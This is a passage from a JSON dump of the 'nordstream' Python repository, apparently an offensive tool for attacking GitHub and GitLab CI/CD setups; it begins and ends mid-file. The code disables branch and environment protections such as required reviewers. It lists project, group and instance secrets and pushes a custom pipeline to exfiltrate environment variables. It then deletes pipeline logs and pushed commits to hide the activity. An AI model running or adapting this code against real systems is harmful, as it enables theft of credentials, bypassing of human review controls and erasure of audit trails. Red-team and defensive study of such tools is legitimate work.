protectionEnabled:\n            fileName = randomString(5) + \"_test_push.md\"\n            Git.gitCreateDummyFile(fileName)\n            pushOutput = Git.gitPush(self._cicd.branchName)\n            pushOutput.wait()\n\n            if pushOutput.returncode != 0:\n                logger.error(\"Error when pushing code:\")\n                logger.raw(pushOutput.communicate()[1], logging.INFO)\n                return True\n            else:\n                self._pushedCommitsCount += 1\n\n            try:\n                protectionEnabled = self._cicd.checkBranchProtectionRules(repo)\n            except GitHubError:\n                pass\n        return protectionEnabled\n\n    def __checkAndDisableBranchProtectionRules(self, repo):\n\n        protectionEnabled, protection = self.__checkAndGetBranchProtectionRules(repo)\n\n        if protectionEnabled:\n\n            if protection:\n                displayBranchProtectionRules(protection)\n            else:\n                logger.info(\n                    \"Not enough privileges to get protection rules or 'Restrict pushes that create matching branches' is enabled. Check another branch.\"\n                )\n\n            if protection and self.disableProtections:\n                if self._cicd.branchName != self._cicd.defaultBranchName:\n                    logger.warning(\"Removing branch protection, wait until it's restored.\")\n                else:\n                    # no need to restore branch protection if we are working with the default\n                    # nord-stream branch\n                    logger.warning(\"Removing branch protection.\")\n\n                self._cicd.disableBranchProtectionRules(repo)\n                return protection\n\n            elif self.disableProtections:\n                # if we can't list protection this means that we don't have enough privileges\n                raise Exception(\n                    \"Not enough privileges to disable protection rules or 'Restrict pushes that create matching branches' is enabled. Check another branch.\"\n                )\n            else:\n                raise Exception(\"branch protection rule enabled but '--disable-protections' not activated\")\n\n        return None\n\n    def __checkAndGetBranchProtectionRules(self, repo):\n        protectionEnabled = self._checkBranchProtectionRules(repo)\n\n        if protectionEnabled:\n            logger.info(f'Found branch protection rule on \"{self._cicd.branchName}\" branch')\n            try:\n                protection = self._cicd.getBranchesProtectionRules(repo)\n                return True, protection\n\n            except GitHubError:\n                return True, None\n        else:\n            logger.info(f'No branch protection rule found on \"{self._cicd.branchName}\" branch')\n        return False, None\n\n    def __isEnvProtectionsEnabled(self, repo, env):\n        envDetails = self._cicd.getEnvDetails(repo, env)\n        protectionRules = envDetails.get(\"protection_rules\")\n\n        if len(protectionRules) > 0:\n            displayEnvSecurity(envDetails)\n            return envDetails\n\n        else:\n            logger.verbose(\"No environment protection rule found\")\n            return False\n\n        return policyId, waitTime, reviewers, branchPolicy\n\n    def __disableEnvProtections(self, repo, envDetails):\n        protectionRules = envDetails.get(\"protection_rules\")\n        branchPolicy = envDetails.get(\"deployment_branch_policy\")\n        waitTime = 0\n        reviewers = []\n        policyId = None\n        env = envDetails.get(\"name\")\n\n        try:\n            logger.warning(\"Modifying env protection, wait until it's restored.\")\n            if branchPolicy and branchPolicy.get(\"custom_branch_policies\", False):\n                policyId = self._cicd.createDeploymentBranchPolicy(repo, env)\n\n            for protection in protectionRules:\n                if protection.get(\"type\") == \"required_reviewers\":\n                    for reviewer in protection.get(\"reviewers\"):\n                        reviewers.append(\n                            {\n                                \"type\": reviewer.get(\"type\"),\n                                \"id\": reviewer.get(\"reviewer\").get(\"id\"),\n                            }\n                        )\n                if protection.get(\"type\") == \"wait_timer\":\n                    waitTime = protection.get(\"wait_timer\")\n\n            self._cicd.modifyEnvProtectionRules(repo, env, 0, [], branchPolicy)\n        except GitHubError:\n            raise Exception(\"Environment protection rule enabled but not enough privileges to disable it.\")\n\n        return policyId, waitTime, reviewers, branchPolicy\n\n    def __restoreEnvProtections(self, repo, env, policyId, waitTime, reviewers, branchPolicy):\n        logger.warning(\"Restoring env protections.\")\n        if policyId is not None:\n            self._cicd.deleteDeploymentBranchPolicy(repo, env)\n        self._cicd.modifyEnvProtectionRules(repo, env, waitTime, reviewers, branchPolicy)\n\n    def describeToken(self):\n\n        if self._cicd.isGHSToken():\n            response = self._cicd.getLoginWithGraphQL().json()\n            logger.info(\"Token information:\")\n            login = response.get(\"data\").get(\"viewer\").get(\"login\")\n            if login != None:\n                logger.raw(f\"\\t- Login: {login}\\n\", logging.INFO)\n\n        else:\n            response = self._cicd.getUser()\n            headers = response.headers\n            response = response.json()\n\n            logger.info(\"Token information:\")\n\n            login = response.get(\"login\")\n            if login != None:\n                logger.raw(f\"\\t- Login: {login}\\n\", logging.INFO)\n\n            isAdmin = response.get(\"site_admin\")\n            if isAdmin != None:\n                logger.raw(f\"\\t- IsAdmin: {isAdmin}\\n\", logging.INFO)\n\n            email = response.get(\"email\")\n            if email != None:\n                logger.raw(f\"\\t- Email: {email}\\n\", logging.INFO)\n\n            id = response.get(\"id\")\n            if id != None:\n                logger.raw(f\"\\t- Id: {id}\\n\", logging.INFO)\n\n            bio = response.get(\"bio\")\n            if bio != None:\n                logger.raw(f\"\\t- Bio: {bio}\\n\", logging.INFO)\n\n            company = response.get(\"company\")\n            if company != None:\n                logger.raw(f\"\\t- Company: {company}\\n\", logging.INFO)\n\n            tokenScopes = headers.get(\"x-oauth-scopes\")\n            if tokenScopes != None:\n                scopes = tokenScopes.split(\", \")\n                if len(scopes) != 0:\n                    logger.raw(f\"\\t- Token scopes:\\n\", logging.INFO)\n                    for scope in scopes:\n                        logger.raw(f\"\\t    - {scope}\\n\", logging.INFO)\n\n    def __resetBranchProtectionRules(self, repo, protections):\n\n        logger.warning(\"Restoring branch protection.\")\n\n        data = {}\n\n        data[\"required_status_checks\"] = resetRequiredStatusCheck(protections)\n        data[\"required_pull_request_reviews\"] = resetRequiredPullRequestReviews(protections)\n        data[\"restrictions\"] = resetRestrictions(protections)\n\n        data[\"enforce_admins\"] = protections.get(\"enforce_admins\").get(\"enabled\")\n        data[\"allow_deletions\"] = protections.get(\"allow_deletions\").get(\"enabled\")\n        data[\"allow_force_pushes\"] = protections.get(\"allow_force_pushes\").get(\"enabled\")\n        data[\"block_creations\"] = protections.get(\"block_creations\").get(\"enabled\")\n\n        res = self._cicd.updateBranchesProtectionRules(repo, data)\n\n        msg = res.get(\"message\")\n        if msg:\n            logger.error(f\"Fail to restore protection: {msg}\")\n            logger.info(f\"Raw protections: {protections}\")\n"
  },
  {
    "path": "nordstream/core/github/protections.py",
    "content": "from collections import defaultdict\n\n\ndef resetRequiredStatusCheck(protections):\n\n    res = defaultdict(dict)\n    required_status_checks = protections.get(\"required_status_checks\")\n    if required_status_checks:\n\n        res[\"strict\"] = required_status_checks.get(\"strict\")\n        res[\"contexts\"] = required_status_checks.get(\"contexts\")\n\n        if required_status_checks.get(\"checks\"):\n            res[\"checks\"] = required_status_checks.get(\"checks\")\n\n        return dict(res)\n\n    else:\n        return None\n\n\ndef resetRequiredPullRequestReviews(protections):\n\n    res = defaultdict(dict)\n    required_pull_request_reviews = protections.get(\"required_pull_request_reviews\")\n\n    if required_pull_request_reviews:\n\n        if required_pull_request_reviews.get(\"dismissal_restrictions\"):\n            res[\"dismissal_restrictions\"][\"users\"] = getUsersArray(\n                required_pull_request_reviews.get(\"dismissal_restrictions\").get(\"users\")\n            )\n            res[\"dismissal_restrictions\"][\"teams\"] = getTeamsOrAppsArray(\n                required_pull_request_reviews.get(\"dismissal_restrictions\").get(\"teams\")\n            )\n            res[\"dismissal_restrictions\"][\"apps\"] = getTeamsOrAppsArray(\n                required_pull_request_reviews.get(\"dismissal_restrictions\").get(\"apps\")\n            )\n\n        if required_pull_request_reviews.get(\"dismiss_stale_reviews\"):\n            res[\"dismiss_stale_reviews\"] = required_pull_request_reviews.get(\"dismiss_stale_reviews\")\n\n        if required_pull_request_reviews.get(\"require_code_owner_reviews\"):\n            res[\"require_code_owner_reviews\"] = required_pull_request_reviews.get(\"require_code_owner_reviews\")\n\n        if required_pull_request_reviews.get(\"required_approving_review_count\"):\n            res[\"required_approving_review_count\"] = required_pull_request_reviews.get(\n                \"required_approving_review_count\"\n            )\n\n        if required_pull_request_reviews.get(\"require_last_push_approval\"):\n            res[\"require_last_push_approval\"] = required_pull_request_reviews.get(\"require_last_push_approval\")\n\n        if required_pull_request_reviews.get(\"bypass_pull_request_allowances\"):\n            res[\"bypass_pull_request_allowances\"][\"users\"] = getUsersArray(\n                required_pull_request_reviews.get(\"bypass_pull_request_allowances\").get(\"users\")\n            )\n            res[\"bypass_pull_request_allowances\"][\"teams\"] = getTeamsOrAppsArray(\n                required_pull_request_reviews.get(\"bypass_pull_request_allowances\").get(\"teams\")\n            )\n            res[\"bypass_pull_request_allowances\"][\"apps\"] = getTeamsOrAppsArray(\n                required_pull_request_reviews.get(\"bypass_pull_request_allowances\").get(\"apps\")\n            )\n\n        return dict(res)\n\n    else:\n        return None\n\n\ndef resetRestrictions(protections):\n\n    res = defaultdict(dict)\n    restrictions = protections.get(\"restrictions\")\n\n    if restrictions:\n        res[\"users\"] = getUsersArray(restrictions.get(\"users\"))\n        res[\"teams\"] = getTeamsOrAppsArray(restrictions.get(\"teams\"))\n        res[\"apps\"] = getTeamsOrAppsArray(restrictions.get(\"apps\"))\n\n        return dict(res)\n\n    else:\n        return None\n\n\ndef getUsersArray(users):\n    res = []\n    for user in users:\n        res.append(user.get(\"login\"))\n    return res\n\n\ndef getTeamsOrAppsArray(data):\n    res = []\n    for e in data:\n        res.append(e.get(\"slug\"))\n    return res\n"
  },
  {
    "path": "nordstream/core/gitlab/gitlab.py",
    "content": "import logging\n\nfrom urllib.parse import urlparse\nfrom os import makedirs, chdir\nfrom os.path import exists, realpath\nfrom datetime import datetime\nfrom nordstream.utils.log import logger\nfrom nordstream.git import Git\nimport subprocess\nimport time\nfrom nordstream.utils.errors import GitLabError\nfrom nordstream.yaml.gitlab import GitLabPipelineGenerator\n\n\nclass GitLabRunner:\n    _cicd = None\n    _writeAccessFilter = False\n    _extractProject = True\n    _extractGroup = True\n    _extractInstance = True\n    _yaml = None\n    _branchAlreadyExists = False\n    _fileName = None\n    _cleanLogs = True\n    _sleepTime = 0\n    _localPath = None\n\n    @property\n    def writeAccessFilter(self):\n        return self._writeAccessFilter\n\n    @writeAccessFilter.setter\n    def writeAccessFilter(self, value):\n        self._writeAccessFilter = value\n\n    @property\n    def extractProject(self):\n        return self._extractProject\n\n    @extractProject.setter\n    def extractProject(self, value):\n        self._extractProject = value\n\n    @property\n    def extractGroup(self):\n        return self._extractGroup\n\n    @extractGroup.setter\n    def extractGroup(self, value):\n        self._extractGroup = value\n\n    @property\n    def extractInstance(self):\n        return self._extractInstance\n\n    @extractInstance.setter\n    def extractInstance(self, value):\n        self._extractInstance = value\n\n    @property\n    def yaml(self):\n        return self._yaml\n\n    @yaml.setter\n    def yaml(self, value):\n        self._yaml = realpath(value)\n\n    @property\n    def branchAlreadyExists(self):\n        return self._branchAlreadyExists\n\n    @branchAlreadyExists.setter\n    def branchAlreadyExists(self, value):\n        self._branchAlreadyExists = value\n\n    @property\n    def cleanLogs(self):\n        return self._cleanLogs\n\n    @cleanLogs.setter\n    def cleanLogs(self, value):\n        self._cleanLogs = value\n\n    @property\n    def sleepTime(self):\n        return self._sleepTime\n\n    @sleepTime.setter\n    def sleepTime(self, value):\n        self._sleepTime = int(value)\n\n    @property\n    def localPath(self):\n        return self._localPath\n\n    @localPath.setter\n    def localPath(self, value):\n        if exists(value):\n            self._localPath = value\n        else:\n            logger.critical(\"Invalid local project path.\")\n\n    def __init__(self, cicd):\n        self._cicd = cicd\n        self.__createLogDir()\n\n    def __createLogDir(self):\n        self._cicd.outputDir = realpath(self._cicd.outputDir) + \"/gitlab\"\n        makedirs(self._cicd.outputDir, exist_ok=True)\n\n    def getProjects(self, project, strict=False, membership=False):\n        if project:\n            if exists(project):\n                logger.info(f\"Getting GitLab projects of a file: {project}\")\n                with open(project, \"r\") as file:\n                    for p in file:\n                        self._cicd.addProjects(\n                            project=p.strip(), filterWrite=self._writeAccessFilter, strict=strict, membership=membership\n                        )\n\n            else:\n                logger.info(f\"Getting GitLab project: {project}\")\n                self._cicd.addProjects(\n                    project=project, filterWrite=self._writeAccessFilter, strict=strict, membership=membership\n                )\n        else:\n            logger.info(f\"Listing GitLab projects\")\n            self._cicd.addProjects(filterWrite=self._writeAccessFilter, membership=membership)\n\n        if len(self._cicd.projects) == 0:\n            if self._writeAccessFilter:\n                logger.critical(\"No repository with write access found.\")\n            else:\n                logger.critical(\"No repository found.\")\n\n    def getGroups(self, group):\n        if group:\n            if exists(group):\n                logger.info(f\"Getting GitLab groups of a file: {group}\")\n                with open(group, \"r\") as file:\n                    for p in file:\n                        self._cicd.addGroups(group)\n\n            else:\n                logger.info(f\"Getting GitLab group: {group}\")\n                self._cicd.addGroups(group)\n        else:\n            logger.info(f\"Listing GitLab groups\")\n            self._cicd.addGroups()\n\n        if len(self._cicd.groups) == 0:\n            logger.error(\"No group found.\")\n\n    def listGitLabRunners(self):\n        logger.info(\"Listing GitLab runners\")\n\n        res = False\n        if self._extractProject:\n            res |= self.__listGitLabProjectRunners()\n\n        if not res:\n            logger.warning(\"You don't have access to any runner or job\")\n\n    def __mergeLists(self, current, new, key):\n        current[key] = list(set(current[key] + new[key]))\n        new[key] = current[key]\n\n    def __mergeRunners(self, current, new):\n        for runner in new:\n            existing = next((c for c in current if c[\"id\"] == runner[\"id\"]), None)\n            if not existing:\n                current.append(runner)\n                continue\n\n            date = lambda d: datetime.strptime(d, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n            self.__mergeLists(existing, runner, \"projects\")\n            self.__mergeLists(existing, runner, \"tags\")\n            if date(runner[\"contacted_at\"]) > date(existing[\"contacted_at\"]):\n                existing.update(runner)\n\n    def __listGitLabProjectRunners(self):\n        res = False\n        runners = []\n        for project in self._cicd.projects:\n            self.__mergeRunners(runners, self._cicd.listRunnersFromProject(project))\n\n        for runner in runners:\n            res = True\n            logger.info(\n                f'{runner[\"id\"]} (scope: {runner[\"runner_type\"].replace(\"_type\", \"\")}, executor: {runner[\"executor\"]}, accesslevel: {runner[\"access_level\"]})'\n            )\n            logger.raw(f'    - status: {runner[\"status\"].lower()} (lastseen: {runner[\"contacted_at\"]})\\n', logging.INFO)\n            logger.raw(f'    - description: {runner[\"description\"] or \"n/a\"}\\n', logging.INFO)\n            logger.raw(f'    - tags: {runner[\"tags\"]}\\n', logging.INFO)\n            logger.raw(f'    - platform: {runner[\"platform\"]} ({runner[\"architecture\"]})\\n', logging.INFO)\n            logger.raw(f'    - ipaddress: {runner[\"ip_address\"]}\\n', logging.INFO)\n            if runner[\"projects\"]:\n                logger.raw(f\"    - projects:\\n\", logging.INFO)\n                for project in runner[\"projects\"]:\n                    logger.raw(f\"      - {project}\\n\", logging.INFO)\n\n        return res\n\n    def listGitLabSecrets(self):\n        logger.info(\"Listing GitLab secrets\")\n\n        res = False\n        if self._extractInstance:\n            res |= self.__listGitLabInstanceSecrets()\n\n        if self._extractGroup:\n            res |= self.__listGitLabGroupSecrets()\n\n        if self._extractProject:\n            res |= self.__listGitLabProjectSecrets()\n            res |= self.__listGitLabProjectSecureFiles()\n\n        if not res:\n            logger.warning(\n                \"You don't have access to any secret, try to deploy a pipeline and exfiltrate environment variables\"\n            )\n\n    def __listGitLabProjectSecrets(self):\n        res = False\n        for project in self._cicd.projects:\n            try:\n                time.sleep(self._sleepTime)\n                res |= self.__displayProjectVariables(project)\n            except Exception as e:\n                logger.error(f\"Error while listing secrets for {project.get('name')}: {e}\")\n        return res\n\n    def __listGitLabProjectSecureFiles(self):\n        res = False\n        for project in self._cicd.projects:\n            try:\n                time.sleep(self._sleepTime)\n                res |= self.__displayProjectSecureFiles(project)\n            except Exception as e:\n                logger.error(f\"Error while listing secure files for {project.get('name')}: {e}\")\n        return res\n\n    def __listGitLabGroupSecrets(self):\n        res = False\n        for group in self._cicd.groups:\n            try:\n                time.sleep(self._sleepTime)\n                res |= self.__displayGroupVariables(group)\n            except Exception as e:\n                logger.error(f\"Error while listing secrets for {group.get('name')}: {e}\")\n        return res\n\n    def __listGitLabInstanceSecrets(self):\n        try:\n            return self.__displayInstanceVariables()\n        except Exception as e:\n            logger.error(f\"Error while listing instance secrets: {e}\")\n            return False\n\n    def __displayProjectVariables(self, project):\n\n        projectName = project.get(\"path_with_namespace\")\n\n        try:\n            variables = self._cicd.listVariablesFromProject(project)\n            if len(variables) != 0:\n\n                logger.info(f'\"{projectName}\" project variables')\n\n                for variable in variables:\n                    logger.raw(\n                        f'\\t- {variable[\"key\"]}={variable[\"value\"]} (protected:{variable[\"protected\"]} / hidden:{variable[\"hidden\"]})\\n',\n                        logging.INFO,\n                    )\n\n            variables_inherited = self._cicd.listInheritedVariablesFromProject(project)\n            if len(variables_inherited) != 0:\n\n                logger.info(f'\"{projectName}\" inherited group variables')\n\n                for variable in variables_inherited:\n                    logger.raw(\n                        f'\\t- {variable[\"key\"]}={variable[\"value\"]} (protected:{variable[\"protected\"]} / hidden:{variable[\"hidden\"]})\\n',\n                        logging.INFO,\n                    )\n\n            if (len(variables) > 0) or (len(variables_inherited) > 0):\n                return True\n        except GitLabError as e:\n            if logger.getEffectiveLevel() < logging.INFO:\n                logger.info(f'\"{projectName}\" variables')\n                logger.error(f\"\\t{e}\")\n        return False\n\n    def __displayProjectSecureFiles(self, project):\n\n        projectName = project.get(\"path_with_namespace\")\n\n        try:\n            secFiles = self._cicd.listSecureFilesFromProject(project)\n            if len(secFiles) != 0:\n\n                logger.info(f'\"{projectName}\" secure files')\n\n                for file in secFiles:\n                    logger.raw(f'\\t- {file[\"name\"]} ({file[\"path\"]})\\n', logging.INFO)\n                return True\n        except GitLabError as e:\n            if logger.getEffectiveLevel() < logging.INFO:\n                logger.info(f'\"{projectName}\" secure files')\n                logger.error(f\"\\t{e}\")\n        return False\n\n    def __displayGroupVariables(self, group):\n\n        groupPath = group.get(\"full_path\")\n\n        try:\n            variables = self._cicd.listVariablesFromGroup(group)\n            if len(variables) != 0:\n                logger.info(f'\"{groupPath}\" group variables:')\n\n                for variable in variables:\n                    logger.raw(\n                        f'\\t- {variable[\"key\"]}={variable[\"value\"]} (protected:{variable[\"protected\"]} / hidden:{variable[\"hidden\"]})\\n',\n                        logging.INFO,\n                    )\n                return True\n        except GitLabError as e:\n            if logger.getEffectiveLevel() < logging.INFO:\n                logger.info(f'\"{groupPath}\" group variables:')\n                logger.error(f\"\\t{e}\")\n        return False\n\n    def __displayInstanceVariables(self):\n        try:\n            variables = self._cicd.listVariablesFromInstance()\n            if len(variables) != 0:\n                logger.info(\"Instance variables:\")\n                for variable in variables:\n                    logger.raw(\n                        f'\\t- {variable[\"key\"]}={variable[\"value\"]} (protected:{variable[\"protected\"]} / hidden:{variable[\"hidden\"]})\\n',\n                        logging.INFO,\n                    )\n                return True\n        except GitLabError as e:\n            if logger.getEffectiveLevel() < logging.INFO:\n                logger.info(\"Instance variables:\")\n                logger.error(f\"\\t{e}\")\n        return False\n\n    def listGitLabProjects(self):\n        logger.info(\"Listing GitLab projects\")\n        for project in self._cicd.projects:\n\n            repoPath = project.get(\"path\")\n            repoName = project.get(\"name\")\n            repoId = project.get(\"id\")\n\n            if repoPath != repoName:\n                logger.raw(f'- {project[\"path_with_namespace\"]} / {repoId} ({repoName})\\n', level=logging.INFO)\n            else:\n                logger.raw(f'- {project[\"path_with_namespace\"]} / {repoId}\\n', level=logging.INFO)\n\n    def listGitLabUsers(self):\n        logger.info(\"Listing GitLab users\")\n        for user in self._cicd.listUsers():\n            id = user.get(\"id\")\n            username = user.get(\"username\")\n            email = user.get(\"email\")\n            is_admin = user.get(\"is_admin\")\n\n            res = f\"- {id} {username}\"\n            if email != None:\n                res += f\" {email}\"\n\n            if is_admin != None:\n                res += f\"(is_admin: {is_admin})\"\n\n            logger.raw(f\"{res}\\n\", level=logging.INFO)\n\n    def listGitLabGroups(self):\n        logger.info(\"Listing GitLab groups\")\n        for project in self._cicd.groups:\n            logger.raw(f'- {project[\"full_path\"]}\\n', level=logging.INFO)\n\n    def runPipeline(self):\n        for project in self._cicd.projects:\n\n            repoPath = project.get(\"path\")\n            repoName = project.get(\"name\")\n\n            if repoPath != repoName:\n                logger.success(f'\"{repoName}\" ({repoPath})')\n            else:\n                logger.success(f'\"{repoName}\"')\n\n            if self._localPath == None:\n                domain = urlparse(self._cicd.url).netloc\n                if self._cicd.url.startswith(\"https\"):\n                    handler = \"https\"\n                else:\n                    handler = \"http\"\n\n                url = f\"{handler}://foo:{self._cicd.token}@{domain}/{project.get('path_with_namespace')}\"\n                Git.gitClone(url)\n\n            else:\n                repoPath = self._localPath\n\n            chdir(repoPath)\n            self._pushedCommitsCount = 0\n            self._branchAlreadyExists = Git.gitRemoteBranchExists(self._cicd.branchName)\n            Git.gitInitialization(self._cicd.branchName, branchAlreadyExists=self._branchAlreadyExists)\n\n            try:\n                # TODO: branch protections\n                # if not self._forceDeploy:\n                #    self.__checkAndDisableBranchProtectionRules(repo)\n\n                if self._yaml:\n                    self.__runCustomPipeline(project)\n                else:\n                    logger.error(\"No yaml specify\")\n\n            except KeyboardInterrupt:\n                pass\n\n            except Exception as e:\n                logger.error(f\"Error: {e}\")\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception(e)\n\n            finally:\n                self.__clean(project)\n                chdir(\"../\")\n                subprocess.Popen(f\"rm -rfd ./{repoPath}\", shell=True).wait()\n\n        logger.info(f\"Check output: {self._cicd.outputDir}\")\n\n    def __runCustomPipeline(self, project):\n        logger.info(f\"Running custom pipeline: {self._yaml}\")\n\n        pipelineGenerator = GitLabPipelineGenerator()\n        pipelineGenerator.loadFile(self._yaml)\n\n        try:\n            pipelineId = self.__launchPipeline(project, pipelineGenerator)\n            if pipelineId:\n                self._fileName = self._cicd.downloadPipelineOutput(project, pipelineId)\n                if self._fileName:\n                    self.__extractPipelineOutput(project)\n                    logger.empty_line()\n        except Exception as e:\n            logger.error(f\"Error: {e}\")\n\n        finally:\n            logger.empty_line()\n\n    def __launchPipeline(self, project, pipelineGenerator):\n        logger.verbose(f\"Launching pipeline.\")\n\n        projectId = project.get(\"id\")\n\n        pipelineGenerator.writeFile(f\".gitlab-ci.yml\")\n        pushOutput = Git.gitPush(self._cicd.branchName)\n        pushOutput.wait()\n\n        try:\n            if b\"Everything up-to-date\" in pushOutput.communicate()[1].strip():\n                logger.error(\"Error when pushing code: Everything up-to-date\")\n                logger.warning(\n                    \"Your trying to push the same code on an existing branch, modify the yaml file to push it.\"\n                )\n\n            elif pushOutput.returncode != 0:\n                logger.error(\"Error when pushing code:\")\n                logger.raw(pushOutput.communicate()[1], logging.INFO)\n\n            else:\n                self._pushedCommitsCount += 1\n                logger.raw(pushOutput.communicate()[1])\n\n                pipelineId, pipelineStatus = self._cicd.waitPipeline(projectId)\n\n                if pipelineStatus == \"success\":\n                    logger.success(\"Pipeline has successfully terminated.\")\n                    return pipelineId\n\n                elif pipelineStatus == \"failed\":\n                    self.__displayFailureReasons(projectId, pipelineId)\n\n                return pipelineId\n\n        except Exception as e:\n            logger.exception(e)\n        finally:\n            pass\n\n    def __extractPipelineOutput(self, project, resultsFilename=\"secrets.txt\"):\n\n        projectPath = project.get(\"path_with_namespace\")\n\n        with open(\n            f\"{self._cicd.outputDir}/{projectPath}/{self._fileName}\",\n            \"rb\",\n        ) as output:\n\n            pipelineResults = output.read()\n\n        logger.success(\"Output:\")\n        logger.raw(pipelineResults, logging.INFO)\n\n    def __clean(self, project):\n\n        if self._pushedCommitsCount > 0:\n\n            projectId = project.get(\"id\")\n            if self._cleanLogs:\n                logger.info(f\"Cleaning logs for project: {project.get('path_with_namespace')}\")\n                self._cicd.cleanAllLogs(projectId)\n\n            logger.verbose(\"Cleaning commits.\")\n            if self._branchAlreadyExists and self._cicd.branchName != self._cicd.defaultBranchName:\n                Git.gitUndoLastPushedCommits(self._cicd.branchName, self._pushedCommitsCount)\n            else:\n                if not self.__deleteRemoteBranch():\n                    logger.info(\"Cleaning remote branch.\")\n                    # rm everything if we can't delete the branch (only leave one file otherwise it will try to rm the branch)\n                    Git.gitCleanRemote(self._cicd.branchName, leaveOneFile=True)\n\n    def manualCleanLogs(self):\n        logger.info(\"Deleting logs\")\n        for project in self._cicd.projects:\n            logger.info(f\"Cleaning logs for project: {project.get('path_with_namespace')}\")\n            self._cicd.cleanAllLogs(project.get(\"id\"))\n\n    def __deleteRemoteBranch(self):\n        logger.verbose(\"Deleting remote branch\")\n        deleteOutput = Git.gitDeleteRemote(self._cicd.branchName)\n        deleteOutput.wait()\n\n        if deleteOutput.returncode != 0:\n            logger.error(f\"Error deleting remote branch {self._cicd.branchName}\")\n            logger.raw(deleteOutput.communicate()[1], logging.INFO)\n            return False\n        return True\n\n    def describeToken(self):\n        response = self._cicd.getUser()\n        logger.info(\"Token information:\")\n\n        username = response.get(\"username\")\n        if username != \"\":\n            logger.raw(f\"\\t- Username: {username}\\n\", logging.INFO)\n\n        isAdmin = response.get(\"is_admin\")\n        if isAdmin == None:\n            logger.raw(f\"\\t- IsAdmin: False\\n\", logging.INFO)\n        else:\n            logger.raw(f\"\\t- IsAdmin: {isAdmin}\\n\", logging.INFO)\n\n        email = response.get(\"email\")\n        if email != \"\":\n            logger.raw(f\"\\t- Email: {email}\\n\", logging.INFO)\n\n        id = response.get(\"id\")\n        if id != \"\":\n            logger.raw(f\"\\t- Id: {id}\\n\", logging.INFO)\n\n        note = response.get(\"note\")\n        if note != \"\" and note != None:\n            logger.raw(f\"\\t- Note: {note}\\n\", logging.INFO)\n\n    def listBranchesProtectionRules(self):\n        logger.info(\"Listing branch protection rules.\")\n        for project in self._cicd.projects:\n\n            projectName = project.get(\"path_with_namespace\")\n            logger.info(f\"{projectName}:\")\n\n            try:\n                protections = self._cicd.getBranchesProtectionRules(project.get(\"id\"))\n                self.__displayBranchesProtectionRulesPriv(protections)\n            except GitLabError as e:\n                logger.verbose(\n                    \"Not enough privileges to get full details on the branch protection rules for this project, trying to get limited information.\"\n                )\n                try:\n                    branches = self._cicd.getBranches(project.get(\"id\"))\n                    self.__displayBranchesProtectionRulesUnpriv(branches)\n                except GitLabError as e:\n                    logger.error(f\"\\t{e}\")\n\n            logger.empty_line()\n\n    def __displayBranchesProtectionRulesPriv(self, protections):\n        if len(protections) == 0:\n            logger.success(f\"No protection\")\n\n        for protection in protections:\n\n            name = protection.get(\"name\")\n            logger.info(f'branch: \"{name}\"')\n\n            allow_force_push = protection.get(\"allow_force_push\")\n            logger.raw(f\"\\t- Allow force push: {allow_force_push}\\n\", logging.INFO)\n\n            code_owner_approval_required = protection.get(\"code_owner_approval_required\", None)\n            if code_owner_approval_required != None:\n                logger.raw(f\"\\t- Code Owner approval required: {code_owner_approval_required}\\n\", logging.INFO)\n\n            push_access_levels = protection.get(\"push_access_levels\", [])\n            logger.raw(f\"\\t- Push access level:\\n\", logging.INFO)\n            self.__displayAccessLevel(push_access_levels)\n\n            unprotect_access_levels = protection.get(\"unprotect_access_levels\", [])\n            logger.raw(f\"\\t- Unprotect access level:\\n\", logging.INFO)\n            self.__displayAccessLevel(unprotect_access_levels)\n\n            merge_access_levels = protection.get(\"merge_access_levels\", [])\n            logger.raw(f\"\\t- Merge access level:\\n\", logging.INFO)\n            self.__displayAccessLevel(merge_access_levels)\n\n    def __displayBranchesProtectionRulesUnpriv(self, branches):\n\n        for branch in branches:\n\n            isProtected = branch.get(\"protected\")\n            if isProtected:\n\n                name = branch.get(\"name\")\n                logger.info(f'branch: \"{name}\"')\n\n                logger.raw(f\"\\t- Protected: True\\n\", logging.INFO)\n\n                developers_can_push = branch.get(\"developers_can_push\")\n                logger.raw(f\"\\t- Developers can push: {developers_can_push}\\n\", logging.INFO)\n\n                developers_can_merge = branch.get(\"developers_can_merge\")\n                logger.raw(f\"\\t- Developers can merge: {developers_can_merge}\\n\", logging.INFO)\n\n    def __displayAccessLevel(self, access_levels):\n        for al in access_levels:\n            access_level = al.get(\"access_level\", None)\n            user_id = al.get(\"user_id\", None)\n            group_id = al.get(\"group_id\", None)\n            access_level_description = al.get(\"access_level_description\")\n\n            res = f\"\\t\\t{access_level_description}\"\n\n            if access_level != None:\n                res += f\" (access_level={access_level})\"\n            if user_id != None:\n                res += f\" (user_id={user_id})\"\n            if group_id != None:\n                res += f\" (group_id={group_id})\"\n\n            logger.raw(f\"{res}\\n\", logging.INFO)\n\n    def __displayFailureReasons(self, projectId, pipelineId):\n        logger.error(\"Pipeline has failed.\")\n\n        pipelineFailure = self._cicd.getFailureReasonPipeline(projectId, pipelineId)\n        if pipelineFailure:\n            logger.error(f\"{pipelineFailure}\")\n        else:\n            jobsFailure = self._cicd.getFailureReasonJobs(projectId, pipelineId)\n\n            for failure in jobsFailure:\n\n                name = failure[\"name\"]\n                stage = failure[\"stage\"]\n                reason = failure[\"failure_reason\"]\n\n                logger.raw(f\"\\t- {name}: {reason} (stage={stage})\\n\", logging.INFO)\n"
  },
  {
    "path": "nordstream/git.py",
    "content": "import subprocess\nfrom nordstream.utils.log import logger\nfrom nordstream.utils.constants import *\nfrom nordstream.utils.helpers import randomString\n\n\"\"\"\nTODO: find an alternative to subprocess it's a bit crappy.\n\"\"\"\n\n\nclass Git:\n\n    USER = GIT_USER\n    EMAIL = GIT_EMAIL\n    KEY_ID = None\n    ATTACK_COMMIT_MSG = GIT_ATTACK_COMMIT_MSG\n    CLEAN_COMMIT_MSG = GIT_CLEAN_COMMIT_MSG\n\n    @staticmethod\n    def gitRunCommand(command):\n        try:\n            # debug level\n            if logger.level <= 10:\n                logger.debug(f\"Running: {command}\")\n                subprocess.run(command, shell=True, check=True)\n            else:\n                subprocess.run(command, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        except subprocess.CalledProcessError:\n            return False\n        return True\n\n    @classmethod\n    def gitInitialization(cls, branch, branchAlreadyExists=False):\n        logger.verbose(\"Git init\")\n\n        cls.gitRunCommand(f\"git config user.Name {cls.USER}\")\n        cls.gitRunCommand(f\"git config user.email {cls.EMAIL}\")\n\n        if cls.KEY_ID != None:\n            cls.gitRunCommand(f\"git config user.signingkey 